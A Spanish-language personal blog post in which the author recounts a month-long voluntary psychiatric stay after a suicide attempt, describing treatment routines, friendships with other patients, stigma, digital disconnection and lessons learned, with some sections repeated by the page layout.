La culpabilidad intrínseca en este tipo de comentarios y argumentos que se genera en las personas afectadas, es altamente perjudicial, agravando el cuadro muchas veces, o impidiéndole incluso a la misma expresar sus emociones por miedo a los cuestionamientos. Existen limitaciones a lo que podemos y no podemos hacer. Y si nuestro entorno y nosotras mismas no entendemos esto, es muy probable que volvamos a recaer en ese tipo de crisis. ¿Por qué? Porque mucho que les pese a los dueños del nuevo egocentrismo new age, “nadie se salva solo”. El convivir en sociedad es una conducta básica e instintiva del ser humano como especie. La meritocracia y el avance de uno por sobre el otro, fomentando la productividad extrema, el cumplimiento de objetivos por encima de lo preestablecido y la falta de limitaciones que ponemos a nuestras propias actividades y responsabilidades, destruyen el inconsciente colectivo del trabajo comunitario y solidario en conjunto.
La supuesta horizontalidad en el trabajo y las relaciones sociales, no es más que una mera narrativa reduccionista que quita el foco y minimiza lo verdaderamente relevante para las personas: el acompañamiento del otro, la empatía, la comprensión, el entendimiento. El hecho de comprender que no es necesario sentir lo que al otro le pasa para poder ayudarlo. Sino simplemente, escuchar.
En un mundo tan hiperconectado y con la respuesta inmediata a solo un click de distancia, la prioridad de la misma es mucho más relevante que su contenido. Y no es algo solo de las redes sociales y las apps de mensajería. La inteligencia artificial también utiliza esta misma premisa, contemplando que además, ésta lo hace para ser condescendiente con el usuario. Es decir, no solo te dice lo que querés escuchar, sino que lo valida. Lo relevante para estas empresas es no perder la conexión con vos. A nadie le gustaría que una IA lo contradijera. En el caso de las personas, no es tan crítico, pero no por ello menos grave. Es decir, aunque las personas sí puedan y de hecho lo hacen, contradecirte, esto no significa que por el hecho de ser un argumento en contra este sea correcto. Y cuando de salud mental se trata, por lo general la mayoría está equivocada.
La baja tolerancia a la frustración, la depresión, los intentos de suicidio y desbordes emocionales se han incrementado muchísimo en los últimos años. El uso excesivo del celular, las redes sociales, las apps de mensajería y las aplicaciones de IA, ya es un debate abierto en especialistas de salud mental de todo el mundo. Es más, como se sabe, muchos países han tomado medidas al respecto, que como siempre ocurre en el caso de la política y los gobiernos, llegan tarde. La crisis está, y ya existe. ¿Qué podemos hacer para reparar a generaciones enteras dañadas psicológica y psiquiátricamente por empresas que ganan dinero con suscripciones, publicidad invasiva, el bombardeo constante de información, desinformación y contenido multimedia y demás? Desafortunadamente, no tengo una respuesta que deje contentos al diablo y a Dios.
El internado
Estigmatización por defecto
No sé si hace falta aclararlo antes de empezar. Pero la estigmatización que sufrimos quienes entramos en este tipo de centros, y los mismos en sí, es por demás preocupante e incluso infundada. Llamalo como quieras: manicomio, hospital psiquiátrico, hospital frenopático, centro de salud integral. No me interesa. Todos creen saber de antemano qué significa y a qué tipo de personas hace referencia. Rosalía en su canción Sakura dice: «Nunca me ha dado miedo la risa de un loco. Más miedo me da el que miente o el que ríe poco». Y quizás sea la forma más sencilla que tengo en estos momentos de explicarles lo que realmente importa de estos lugares. Cierto es que en ocasiones nos comparábamos con las presas de una cárcel, y hacíamos referencias a la canción de María Becerra en la serie «En el barro». Pero la realidad, no se parece ni por lejos a esa. Y esto quiero que quede claro desde el principio.
Desconexión total
Lo primero a destacar es que se me quitó el acceso a mi teléfono celular y a cualquier dispositivo con capacidad de conectarse a internet durante el tiempo que duró mi estadía allí. Al principio estuve en un box sin TV y con el transporte público pasando a toda hora por la avenida, ya que la ventana daba a la calle. Cuando me cambiaron a una habitación con otra compañera, sí podíamos ver la tele. Teníamos internet, pero estaba restringido a las apps que el codificador tenía por defecto, y no andaba muy bien que digamos. Es decir, que si no se tildaba, podíamos ver YouTube. Sin embargo, sí podíamos ver canales de cable. En cuanto a eso, mi compañera de cuarto miraba el canal de las novelas, así que para mí era suficiente.
Nuestro contacto con el exterior eran personas restringidas a las que podíamos llamar o que podían ir a visitarnos, pero que para ir debían sacar turno y ser aprobadas por mi equipo tratante, es decir, mi psicóloga y mi psiquiatra. El teléfono de línea tenía horarios limitados para recibir y hacer llamadas, y debíamos usarlo todas en ese horario.
Había dos sectores delimitados virtualmente, aunque eso no fue limitación para que ocasionalmente rompiéramos las reglas. En uno estaban las personas en observación. En el otro, las personas más estables. Cada sector tenía su propio office de enfermería y su propio teléfono. Pero además, el mismo teléfono era usado por las propias enfermeras para manejar asuntos relacionados con las pacientes: si nos llevaban ropa, elementos de higiene y demás.
Quienes venían a vernos, no podían subir a los sectores de las pacientes, sino que éramos nosotras quienes bajábamos a planta baja con una enfermera o un coordinador, y nos hacían pasar a una especie de patio en el que estábamos con la visita por el lapso de una hora aproximadamente, o a un consultorio si dicho patio estaba lleno.
Otro detalle: cualquier elemento que nos trajeran debía pasar la revisión de enfermería. Si se consideraba potencialmente peligroso para una misma o para terceras, no se habilitaba si no era necesario y era devuelto a la familia; y si era necesario, quedaba en enfermería cuando la paciente lo solicitara, pero con un uso limitado y vigilancia cada cierto tiempo para que no ocurriera nada grave. Ejemplo: una maquinita de depilar. Si en una hora no la devolvíamos, iban a ver cómo estábamos.
Terapia y tratamiento integral
No se trataba solo de darnos medicación. Teníamos horarios predefinidos para desayuno, almuerzo, merienda y cena. Teníamos un equipo tratante por cada una que consistía en un psicólogo o psicóloga y un o una psiquiatra que nos veían dos veces por semana. Un equipo de enfermeras, que iban alternando en guardias de ocho horas, con otras definidas para fines de semana y feriados.
Ah, quizás para varias personas resulte un detalle, pero claro está que los sectores estaban divididos por género. Las mujeres estábamos por un lado y los hombres por otro. No había contacto directo entre ambos, y no se suponía que lo hubiera. De hecho, los esporádicos contactos que hubo, fueron detectados por operadores, acompañantes terapéuticos, coordinadores y enfermeros.
Este grupo de contención, además, se encargaba de gestionar las cuatro bajadas al parque que teníamos por día. Para muchas era una razón para ir a fumar. Para quienes no fumábamos, charlar, escuchar música, tomar mate, o simplemente tomar sol y un poco de aire.
Entre las actividades predefinidas por el centro estaban: sesión de manicuría el sábado a la mañana a cargo de una de las operadoras, terapia grupal (con la que no me llevé muy bien con el moderador), asamblea de convivencia, que casi ni tuvimos porque el moderador estaba de licencia, arteterapia, musicoterapia (mis favoritas) y yoga y gimnasia, mis menos favoritas en ese orden XD. Yoga me gustaba, pero requería mucho trabajo físico al que no estaba acostumbrada. Igual gimnasia. El profe era muy exigente para mi gusto, pero estas son opiniones, no datos jajaj.
Musicoterapia fue la más interesante y la que más me permitía explayarme, en la que más salía a relucir mi creatividad y mi, quizás mi no tan bueno, pero sí suficiente talento para la música. Conocí y vi de primera mano instrumentos muy interesantes. Me gustaría encontrar actividades similares ahora que estoy afuera. Pero claro, eso con el paso del tiempo.
He de destacar a nivel personal también, que por mi condición de celiaquía me daban almuerzo y cena de Sintaxis, todo con postre incluido, por lo que la comida se transformó en un lujo, privilegio o derecho al que pocas veces tuve acceso, y por el que estoy muy agradecida. Claro que el postre estaba incluido en sí para todas. De hecho, a veces nos daban frutas en cualquiera de las cuatro comidas, lo que también era bueno. Excepto el mate, no había ninguna otra bebida permitida potencialmente perjudicial para la medicación y el tratamiento, como por ejemplo, las gaseosas y el café. Me parece lógico, pero no significa que no extrañara el segundo durante los primeros días. Por último en esta sección, la diferencia de horario entre la merienda y la cena nos resultaba a todas demasiado corta, pero las reglas eran así, y había que cumplirlas a rajatabla.
Nosotras y nosotres
No sé bien por dónde empezar a escribir esta parte. Hay tanto que decir que tengo cierto temor de omitir algo. Sin embargo, aún así decido intentarlo, ya que es para mí la parte principal de todo este artículo.
Una microsociedad sin acceso a internet
El hecho de que ninguna tuviese conexión con el mundo exterior ni acceso a redes sociales, fomentaba nuestra capacidad de buscar elementos que nos ayudaran a pasar el día. Me dejaron entrar un parlante Bluetooth chiquito con un cargador portátil y un pen drive USB, con el que pasaba los dos últimos discos de Rosalía de forma constante y hasta casi obsesiva. También nos hicimos fans de una radio de Jazz que está disponible en TuneIn también.
Jugábamos a las cartas con mis cartas en braille, jugaban al uno, al tutifruti, y hasta a la generala con unos dados de una compañera. Los juegos, el mate, y hasta las sesiones personales de maquillaje y peinado se compartían en pequeños pero significativos grupos que se iban formando. Claro está que en última instancia todas teníamos contacto entre sí, y aunque algunas mujeres con patologías más complejas para relacionarse tuviesen sus dificultades adicionales, esto no significaba que no hubiese alguna dispuesta a darle su apoyo de una forma u otra.
Nuestras propias terapias grupales
Estábamos allí cada una por patologías diferentes. Unas se iban, otras volvían, otras se quedaban. Pero había cosas en común que en la mayoría de los casos habíamos compartido: depresión, autolesiones, intentos de suicidio. ¿Qué feo hablar de eso, no? ¿Cómo hacés para hablarle sobre esos temas a una criatura de 18 años o a una señora de 70? Quizás no haga falta. Quizás quien tenga que entenderlo seas vos.
Porque no importaba la patología. Estábamos ahí porque no habíamos podido con nuestra realidad. Porque nos había sobrepasado. E intentar suicidarse no es querer morir. Es querer dejar de sufrir. Es al fin deshacerse de aquello que no podemos manejar sobre nuestro entorno, pero por sobre todas las cosas, sobre nosotras mismas. De ahí lo de las razones que expuse al principio.
A todas nos habían dicho las mismas cosas. Sin importar nuestra edad, nuestras experiencias de vida, nuestras patologías, nuestras realidades, nuestra condición social, o incluso en la sección especial de Narcóticos Anónimos que había, y que olvidé mencionar más arriba, se hablaba de esto también. La sociedad, como en muchos de los casos en los que me ha tocado presenciar por mis múltiples condiciones, primero discrimina, juzga, prejuzga, habla, opina, critica, acusa, minimiza y daña antes de empatizar, entender, escuchar, comprender, y si no se puede, abrazar y contener.
La mimoterapia era la más aplicada entre nosotras mismas. Cuando no sabés qué decir o qué hacer, a veces simplemente escuchar, abrazar, contener y quedarte callada, es mejor que cualquier palabra dicha. Contuve varias veces aunque no me correspondía. Me contuvieron varias veces aunque no les correspondía. Buscamos ayuda y la exigimos cuando la necesitábamos. Desafiamos a la autoridad, cuando detectábamos injusticias que sabíamos que con un poco de buena voluntad se podían solucionar. No siempre teníamos éxito. No siempre lográbamos lo que queríamos. Pero intentarlo y arriesgarse siempre es mejor que no hacer nada. Oscilábamos entre lo justo, lo injusto y lo correcto. Lo correcto no siempre me parecía justo. Sé que ya lo dije, pero esto fue algo que también tuve que aprender en esta terapia.
Ella es inocente aunque se demuestre lo contrario
Habría muchas hermosas personitas a las que debería mencionar. Hacerlo con solo dos me parece terriblemente injusto. Pero quiero que entiendan que si lo hiciera con todas, la gente no tendría ni ganas de leer esto. Así que vamos con la primera: tiene 18 añitos. No sé el porqué. Va, en realidad sí. La otra personita especial y mi psicóloga tratante me lo dijeron. Fue por mi sobre empatía. La idea de querer ayudar a todo el mundo sin importar si me estaba ayudando a mí misma con eso o no.
Ella tenía su equipo, su mamá, a su familia, y otras compañeras con las que contar. Pero la adopté como hijita postiza. Su patología era compleja y casi que desconocida para mí. No sabía muy bien qué estaba haciendo cuando empecé a protegerla de todo mal, y luego de todo bien XD, pero lo hice. Una de las cosas que tuve que entender es: “Kathy, no podés controlarlo todo”. Sin embargo, la escuché. Escuché lo que le pasaba, lo que necesitaba, y la ayudé como pude, haciendo conscientes a las demás de qué debíamos hacer para acompañarla.
Poco a poco empezó a mimetizarse conmigo, y no estando ya mi “Smithers” porque le habían dado el alta, pude entregarme a mi crapulencia.
Vamos, que no hice demasiado che. Además de quererla mucho, brindarle mi apoyo, mi contención, defenderla de cualquier cosa de la que se le acusara aunque sea verdad, creerle casi todas sus mentiras, hacer caso a su vocecita de niña inocente cuando las demás me decían que decía cosas horribles y palabrotas, y fomentar sus comentarios insidiosos y maliciosos sobre otras personas. ¿Qué tiene de malo todo eso realmente?
Lo cierto es que ella era inocente aunque se demuestre lo contrario. Y es que, al principio me resultaba una niña aparentemente ingenua a la que temía que se la pueda manipular. Poco a poco fue aprendiendo a que podía ella misma no dejar que manipulen a las que llegaron después. Y resultó mucho más inteligente y capaz de comprender al resto de lo que yo pensaba. Eso me pasa por querer prejuzgar y querer controlar todo. Mal hecho, Kathy. Sin embargo, sos una excelentísima personita, una de las grandes amigas que me traje conmigo junto con muchas otras. Te quiero muchísimo. Y espero que estés muchísimo mejor en el nuevo lugar en el que van a poder tratar ahora sí de forma correcta tu patología.
Hermanas de otras vidas
No sé por qué yo, no sé por qué ella, no sé por qué nosotras. Pero así sucedió. Más allá de todo lo que dije de la espiritualidad, las creencias actuales y toda esa parafernalia consumista y adaptada al supuesto bienestar personal, lo cierto es que aún hoy en día hay cosas a las que no les encuentro explicación lógica. Y quizás sea mejor así. “No todo lo que puede ser cuantificado cuenta, ni todo lo que cuenta puede ser cuantificado”. También dicen que “hay razones que la propia razón nunca entenderá”.
¿Cómo dos ñoñas tan parecidas y distintas entre sí se encontraron en el mismo lugar? No lo sé. Pero hubo tres cosas que nos unieron: el lugar, nuestro TDAH, y la última que decidimos no mencionar por nuestro pacto de hermanas. Logré conectar de forma impresionante con ella. Y le pasó lo mismo conmigo. Entró dos días después que yo y salió una semana antes. Sin embargo, ese tiempo juntas fue quizás uno de los más significativos de nuestras vidas.
Cuando nos poníamos a hablar de ñoñeces el resto se alejaba. Descubrí que soy una ñoña con todas las letras, que soy muy inteligente, y que muchas veces puedo resultar pedante. A veces tener una respuesta para todo no tiene sentido sin argumentos sólidos que la sostengan.
Me contuvo cuando lo necesité, la contuve cuando lo necesitó. Era la “Smithers” que no me dejaba robarle un dulce a una niña. Era la que me ponía límites cuando hacía chistes que, por lógica, nadie debería hacer en un hospital psiquiátrico, a menos que quisiera quedarse más tiempo. Era la que me decía “Katherine” cuando debía pararme el carro. Completábamos crucigramas a la velocidad de la luz.
Me estaba leyendo un libro muy hermoso sobre un personaje político que, más que un presidente, fue un militante de la vida. Libro que no pienso terminar sin que ella me lo lea. No, no. No intenten imaginar quién es dicho personaje. No es lo importante. Rompimos todas las reglas habidas y por haber. Me leía libros en mi habitación, yo iba a ver Los Simpson en la suya los sábados, y nos regalamos tesoros que valen mucho más que cualquier palabra dicha.
Nos regalamos la realidad de mostrarle a otra persona tal cual somos. Sin mentiras, con honestidad, con empatía, con respeto mutuo. Sabiendo que nada de lo que dijera una, haría enojar a la otra. Nos regalamos el arte de conocernos. La magia de estar ahí. En ese tiempo, en ese lugar. Y mientras nos preguntábamos: “¿Cuánto tiempo más llevará?”, disfrutábamos de cada momento juntas.
No, no. No se confundan. Ella no es como con otras personas especiales. No quiero ser su novia, ni me gusta de tal manera. Pero el amor que llegamos a tenernos en tan poco tiempo, trasciende las fronteras de lo que jamás había esperado que sucediera.
Y esto va para vos especialmente: no voy a negar que lloré cuando te fuiste. A pesar de lo feliz que estaba. Era como una felicidad triste, si tal cosa existe, ya que estaba segura de que era lo mejor para vos, y que íbamos a vernos afuera de todos modos. Pero lloré. Lloré como pocas veces he llorado cuando alguien se aparta de mi vida aunque sea por un tiempo tan corto.
Sí, sí. Las obsesiones y el apego emocional no son del todo buenos. Es decir, como me dijo alguien una vez, hay apegos buenos y apegos malos. Pero si hay algo que aprendí, es que puedo tener un apego bueno con vos, sin que ambas nos atosiguemos entre sí. ¿Por qué? Bueno, resulta más fácil cuando no tocás mucho esa cosa conocida como celular. No le doy mucha pelota y lo bueno es que va a seguir siendo así. Acostumbrarse un mes a estar sin eso, me dio la seguridad para entender que no necesito ni tenerlo todos los días en la mano, ni tenerlo a cada rato siquiera. Poco a poco iré activando algunas cosas, pero otras quedarán desactivadas para siempre.
Por supuesto, eso nada tiene que ver con nosotras. Te lo cuento porque es algo que hablamos y que pienso sostener por mi parte. Anotaré los números de las chicas que me los escribieron en braille con la impresora manual braille que compré por Mercado Libre. Y bueno, ya que estamos, les dejo un muy buen cargador portátil que le recomiendo a todo el mundo y con el cual, la batería del parlantito Bluetooth, me duraba cinco días. Mentira. Era tener el cargador conectado constantemente para que eso ocurriera. Pero al fin y al cabo, el cargador es lo importante XD.
No, no. No te confundas. No estoy haciendo publicidad pagada. Y perdón por incluir esto en una sección que iba exclusivamente para vos. Es que me parecieron productos tan útiles y necesarios, que no pude resistir el impulso de compartirlos. En fin, nuestra despedida ese día que faltamos a gimnasia fue de las charlas más inteligentes e interesantes que tuve con persona alguna.
Te extraño. Sí. Te extraño. Pero también me di cuenta después de que te fuiste, cuánto me extrañaba a mí también. Y quiero seguir sosteniendo eso unos días más. Y es que, volviendo a mí, mucho ha cambiado allí desde que fuimos separadas. Lo cierto es que la sociedad deprime, y el mal no se redime sin cariño, y que si no es por esas personas que acercan su alegría, sería más amargo todavía. Quizás volver a la naturaleza, o al menos a lo analógico, sería nuestra mejor riqueza. Allí podemos querernos y amarnos libremente, y ya no habrá ningún zoológico de gente. Si acaso, un jardín de gente que haya sido cultivado y regado con amor. O quizás, y solo quizás, de alguna forma por pequeñita que sea, podríamos hacerlo nosotras.
Te quiero muchísimo. Hasta prontito, Kathy — Katherine.
Conclusiones finales
No sé si escribí todo lo que quería, o si terminó siendo más de lo que debería. No sé cuánta gente va a leer esto hasta el final, y realmente no me importa. Con que una sola persona entienda de forma favorable lo que intenté explicar en este enorme post, estaré satisfecha. No escribo para hacerme famosa. No escribo para llegar a las grandes ligas, ni para ser influencer ni nada que se le parezca. Sí es cierto que promuevo mis proyectos y aplicaciones en cuanto puedo, pero también lo es que además de traerme algún beneficio propio, la idea es que sea de utilidad para el resto.
Habiendo dicho esto, vamos a continuar con este principio del fin.
Mimoterapia
Sí. Las mencioné a ellas dos. Pero no por ello las demás deberían sentirse ofendidas. Por favor, se los pido. No es más que una elección que me vi obligada a hacer debido a las circunstancias que rodean hoy en día este tipo de contenido en texto. Pero quiero que sepan que las quiero mucho también. Que algunas llegaron a ser no solo grandes compañeras, sino grandes amigas. Personitas maravillosas con las que quiero juntarme afuera para charlar de la vida, tomar un par de mates y reírnos de cuando estuvimos internadas en un hospital psiquiátrico todas juntas. Ah, y no se olviden de ir a comer a Sintaxis, ¿eh?
A las que se fueron antes, quiero contarles que seguimos manteniendo la cadena de incluir y dar la bienvenida a las nuevas. Que les damos su lugar, charlamos y vemos los puntos en común para generar espacios y hábitos agradables para compartir. Charlar de cualquier cosa con mates de por medio y jugar a algún juego, ya es una constante entre todas, y lo seguirá siendo, así que por eso no se preocupen. La tradición se mantiene viva e intacta como nuestras predecesoras la instauraron.
Aprendizajes
No puedo controlarlo todo. No puedo sentirme culpable por cosas que escapan a mi control. A veces lo justo o lo injusto, pueden ser lo correcto. Y a veces no. Debo poner límites. Debo ponerme a mí por encima de cualquier otra persona. Porque como lógica existencialista, si no me cuido a mí, si yo no estoy bien conmigo misma, o al menos aceptablemente, como ahora, no puedo cuidar a nadie más. Ni siquiera a mi gatita Kata, quien se bancó estoicamente un mes sin mí. Actualización: al momento de publicar este artículo, la susodicha ya aplicó su venganza exitosamente. Fue muy inteligente y esperó a que solo estuviésemos las 2 para realizar su malévolo plan. Admiro con gran interés, la enorme paciencia que tuvo, esperando el momento justo para hacer de las suyas. Pero mejor sigo con lo que venía diciendo.
No debo ser tan impulsiva. A veces la respuesta inmediata no es la correcta. Tengo que hablar además de escuchar. En ciertas ocasiones, no dejo que otras personas metan bocado. Soy muy inteligente, sí. Pero eso no me hace mejor ni peor que nadie. Se puede aprender de cualquier persona, desde un niño pequeño hasta de una persona de cien años o más. Lo importante no es la edad, sino lo que la otra persona pueda aportar a tu vida, siempre y cuando sea con respeto y escuchándote a su vez, como ya dije.
No es mi culpa si no sé cómo ayudar a alguien. No es mi culpa, ni la tuya, si no supiste o no pudiste ayudarme. No es nuestra culpa si decidimos alejarnos porque no podíamos llegar a un acuerdo. Y esto es muy importante: no es nuestra culpa si no podemos o no supimos cómo ayudar a una persona con depresión, autolesiones o incluso intentos de suicidio, o suicidios directamente. No lo es. No hay nada que podamos hacer. Porque hay herramientas y recursos que por más que lo intentemos, no tenemos.
La primera ayuda tiene que venir de una misma. Si yo hubiese entrado a la internación con una actitud negativa sobre la misma, me hubiese resultado mucho más difícil salir. Pero entré por mi propia voluntad. Entré y me quedé no solo porque salir o escapar me sería perjudicial, sino además porque era la única salida. Porque fue el primer pensamiento que me vino a la cabeza cuando estaba a punto de terminar con mi propia vida. Entré porque sabía que necesitaba ayuda que por fuera no podía obtener.
No sabía hasta entonces en qué consistía esa ayuda realmente. Pero era mi último caballo de batalla. El último bastión de resistencia que se me presentó antes de rendirme definitivamente. Y lo aproveché. Y me sirvió. No sé si soy o no una mejor persona. Pero sí sé al menos, que desde ahora, intentaré serlo primero conmigo. Y luego con los demás.
Si llegaste hasta acá
La frase del título quizás se sobreentiende a estas alturas. Pero significa básicamente que esperamos no volver a vernos ninguna de nosotras, ni los profesionales a nosotras, en ese lugar de nuevo. Significaría que no volvimos a tener una recaída o una crisis tan fuerte como para volver. Que el tratamiento funcionó para ayudarnos a manejar mejor, a partir de ahora, los factores que nos llevaron allí en primera instancia.
También he de destacar que decidí no nombrar a personas directamente para cuidar su privacidad. Y por esa misma razón habrá referencias que solo yo y esas personas entendamos. Lo siento. Esta es una carta para todos, pero en especial para ellas y para mí.
Gracias
Muchas gracias por leer hasta el final. No solo es muy valioso para mí, sino que te invito a compartirlo para que sea de ayuda y aprendizaje también para otros. No tengo todas las respuestas. Es más, a veces se me presentan aún más preguntas. Pero sí puedo contar lo que viví y lo que aprendí. Y sí puede resultarle quizás informativo a alguien que esté pasando por lo mismo, o a alguien que tenga algún familiar en dichas situaciones y no sepa cómo manejarlo.
Mis agradecimientos a mi mamá, a mi prima, a mi familia en general que no dejaron de preocuparse ni un momento, a mi hija mayor que se “ocupó de la casa” (las comillas son chiste XD), a todas las personas cercanas que estuvieron desde el principio, a mis amigos, al equipo de profesionales del centro en su totalidad, a mis amigas que me llevo y a mis compañeras con las que quizás no tuve tanta afinidad, a mi criaturita menor por el hermoso termo que me dibujó para el mate, a Kata, a los dos gatos que daban vueltas por el centro, a la rata que asustó a mi ami-hermana y que consiguió que esta luego bajara al parque y buscara una ramita para ahuyentarla si el pobre roedor volvía a aparecer 🤣, a mi psicóloga, a mi psiquiatra, a quien no le sirve porque “siempre miente más que habla”, y a todas, pero todas las personitas que formaron parte de esta extraña aventura.
Se las quiere, se las aprecia, se les tiene cierto afecto o cariño, o “nuestra relación será distante cuanto mucho”. A los que entendieron todas las referencias, a los que no entendieron ninguna, a los que están de acuerdo, a los que no, a los que quieren contradecirme en todo, a los que no, a los grandes desastres mundiales (Perlas), a Jesús, a Alá, a Buda, los amo a todos. Ah, pero más amo a Rosalía. Y si por alguna casualidad llega a leer esto, quiero casarme con vos. No, no es una obsesión, y no estoy loca. Em, bueno… la verdad es que…
¡Adiós soperútanos!
#acompañamiento #depresión #desconexiónDigital #empatía #experienciaPersonal #hospitalPsiquiátrico #InteligenciaArtificial #intentoDeSuicidio #internaciónPsiquiátrica #neurodivergencia #prevenciónDelSuicidio #redesSociales #SaludMental #saludMentalEnArgentina #suicidio #TDAH #terapia #Testimonio #tratamientoIntegral #vínculosHumanos - Introducción
-
«Espero no volver a verte acá» — Internación, salud mental y aprendizaje
⏱️ Tiempo estimado de lectura: 28 minutos y 39 segundos.
Resumen
En cualquier otro contexto esa frase sonaría horrible. Para nosotras es más que un deseo, un anhelo. Es un símbolo de afecto, de amor, de compañerismo, de amistad, de experiencias compartidas.
Contenido
Pero mejor empezamos desde el principio: El 28 de enero decidí internarme de forma voluntaria en el área de salud mental de una clínica. La madrugada de ese día había tenido lugar mi tercer intento de suicidio. El primero y el segundo, habían ocurrido en mayo y junio de 2023 respectivamente. ¿Por qué? eso es algo que prefiero dejar para mí y personas cercanas. En fin, una semana después, me derivaron a un centro de salud integral en el que pasé un mes internada. Estas son mis experiencias y reflexiones.- Introducción
- El tabú del que todos hablan pero nadie entiende
- La cura que no existe
- El internado
- Estigmatización por defecto
- Desconexión total
- Terapia y tratamiento integral
- Nosotras y nosotres
- Una microsociedad sin acceso a internet
- Nuestras propias terapias grupales
- Ella es inocente aunque se demuestre lo contrario
- Hermanas de otras vidas
- Conclusiones finales
- Mimoterapia
- Aprendizajes
- Si llegaste hasta acá
- Gracias
Introducción
Nota: si sos un amigue/a y/o persona cercana y te estás enterando de esto ahora, porfa no te enojes. Mi mamá era la encargada de mi contacto con el exterior y no me pareció correcto que la atosiguen con mensajes o llamadas. El mismo era restringido como explico más abajo, y preocupar a tanta gente cuando en realidad no hubiese nada que pudieran hacer directamente, no me parecía correcto ni justo. Fue una decisión consciente que tomé incluso antes de ingresar allí. Habiendo aclarado esto, ahora sí, comencemos:
El tabú del que todos hablan pero nadie entiende
Hay un día de la prevención del suicidio, de la depresión, de la salud mental. Grandes corporaciones, empresas e instituciones de todo tipo hablan del tema. Incluso personas particulares tienen una opinión formada al respecto. Sin embargo, esto no sirve de nada si no se le da el enfoque que se merece.
Razones por las que una persona no debería suicidarse:
- Porque sos joven.
- Porque ya sos demasiado grande.
- Porque estás en la mitad de tu vida.
- Porque tenés toda una vida por delante.
- Porque tenés hijos.
- Porque tenés nietos.
- Porque tenés perros, gatos, tortugas, conejos.
- Porque tenés psicólogo y psiquiatra.
- Porque te falta Dios.
- Porque tenés trabajo, salud, algo de dinero, pareja, amor y/o el afecto de las personas que te quieren.
- Porque hay gente con problemas más graves.
- Porque siempre tenés que estar feliz y con una actitud positiva ante la vida.
- Porque te falta espiritualidad; sí, esto incluye a Dios, pero puede ser de amplio espectro: constelaciones familiares, bio descodificación, astrología, manifestar todo lo que querés lograr en tu vida para que se cumpla, el libro de autoayuda de tal o cual autor, creer en todo pero no estar segura de nada, no creer en nada pero creer que sabés la verdad de todo.
- Inserte aquí todas las otras razones que se le ocurran. Es un chiste, claro. Pero pueden dejarlas en comentarios.
Lo realmente importante no son las razones que una persona tenga para no deprimirse, hacerse daño o suicidarse. Lo importante es intentar que la persona aprenda a reconocer qué factores la llevaron a esos estados, y poder trabajar sobre ellos. Ya sea con medicación, con un tratamiento integral, con ambas, o con otras herramientas que le permitan aprender de sí misma y del resto para que dichas situaciones no vuelvan a ocurrir.
La cura que no existe
Lo primero que se debe comprender es que quienes pasamos por este tipo de estados, no somos personas convencionales mentalmente. Es decir, neurotípicas. Somos personas con factores patológicos psiquiátricos que debemos convivir con tratamiento integral durante gran parte de nuestra vida. Entonces, verlo desde una perspectiva individualista no solo es un error, sino que además causa más daño a la persona, haciéndole creer que puede con todo cuando en realidad no es así.
La culpabilidad intrínseca en este tipo de comentarios y argumentos que se genera en las personas afectadas, es altamente perjudicial, agravando el cuadro muchas veces, o impidiéndole incluso a la misma expresar sus emociones por miedo a los cuestionamientos. Existen limitaciones a lo que podemos y no podemos hacer. Y si nuestro entorno y nosotras mismas no entendemos esto, es muy probable que volvamos a recaer en ese tipo de crisis. ¿Por qué? Porque mucho que les pese a los dueños del nuevo egocentrismo new age, “nadie se salva solo”. El convivir en sociedad es una conducta básica e instintiva del ser humano como especie. La meritocracia y el avance de uno por sobre el otro, fomentando la productividad extrema, el cumplimiento de objetivos por encima de lo preestablecido y la falta de limitaciones que ponemos a nuestras propias actividades y responsabilidades, destruyen el inconsciente colectivo del trabajo comunitario y solidario en conjunto.
La supuesta horizontalidad en el trabajo y las relaciones sociales, no es más que una mera narrativa reduccionista que quita el foco y minimiza lo verdaderamente relevante para las personas: el acompañamiento del otro, la empatía, la comprensión, el entendimiento. El hecho de comprender que no es necesario sentir lo que al otro le pasa para poder ayudarlo. Sino simplemente, escuchar.
En un mundo tan hiperconectado y con la respuesta inmediata a solo un click de distancia, la prioridad de la misma es mucho más relevante que su contenido. Y no es algo solo de las redes sociales y las apps de mensajería. La inteligencia artificial también utiliza esta misma premisa, contemplando que además, ésta lo hace para ser condescendiente con el usuario. Es decir, no solo te dice lo que querés escuchar, sino que lo valida. Lo relevante para estas empresas es no perder la conexión con vos. A nadie le gustaría que una IA lo contradijera. En el caso de las personas, no es tan crítico, pero no por ello menos grave. Es decir, aunque las personas sí puedan y de hecho lo hacen, contradecirte, esto no significa que por el hecho de ser un argumento en contra este sea correcto. Y cuando de salud mental se trata, por lo general la mayoría está equivocada.
La baja tolerancia a la frustración, la depresión, los intentos de suicidio y desbordes emocionales se han incrementado muchísimo en los últimos años. El uso excesivo del celular, las redes sociales, las apps de mensajería y las aplicaciones de IA, ya es un debate abierto en especialistas de salud mental de todo el mundo. Es más, como se sabe, muchos países han tomado medidas al respecto, que como siempre ocurre en el caso de la política y los gobiernos, llegan tarde. La crisis está, y ya existe. ¿Qué podemos hacer para reparar a generaciones enteras dañadas psicológica y psiquiátricamente por empresas que ganan dinero con suscripciones, publicidad invasiva, el bombardeo constante de información, desinformación y contenido multimedia y demás? Desafortunadamente, no tengo una respuesta que deje contentos al diablo y a Dios.
El internado
Estigmatización por defecto
No sé si hace falta aclararlo antes de empezar. Pero la estigmatización que sufrimos quienes entramos en este tipo de centros, y los mismos en sí, es por demás preocupante e incluso infundada. Llamalo como quieras: manicomio, hospital psiquiátrico, hospital frenopático, centro de salud integral. No me interesa. Todos creen saber de antemano qué significa y a qué tipo de personas hace referencia. Rosalía en su canción Sakura dice: «Nunca me ha dado miedo la risa de un loco. Más miedo me da el que miente o el que ríe poco». Y quizás sea la forma más sencilla que tengo en estos momentos de explicarles lo que realmente importa de estos lugares. Cierto es que en ocasiones nos comparábamos con las presas de una cárcel, y hacíamos referencias a la canción de María Becerra en la serie «En el barro». Pero la realidad, no se parece ni por lejos a esa. Y esto quiero que quede claro desde el principio.
Desconexión total
Lo primero a destacar es que se me quitó el acceso a mi teléfono celular y a cualquier dispositivo con capacidad de conectarse a internet durante el tiempo que duró mi estadía allí. Al principio estuve en un box sin TV y con el transporte público pasando a toda hora por la avenida, ya que la ventana daba a la calle. Cuando me cambiaron a una habitación con otra compañera, sí podíamos ver la tele. Teníamos internet, pero estaba restringido a las apps que el codificador tenía por defecto, y no andaba muy bien que digamos. Es decir, que si no se tildaba, podíamos ver YouTube. Sin embargo, sí podíamos ver canales de cable. En cuanto a eso, mi compañera de cuarto miraba el canal de las novelas, así que para mí era suficiente.
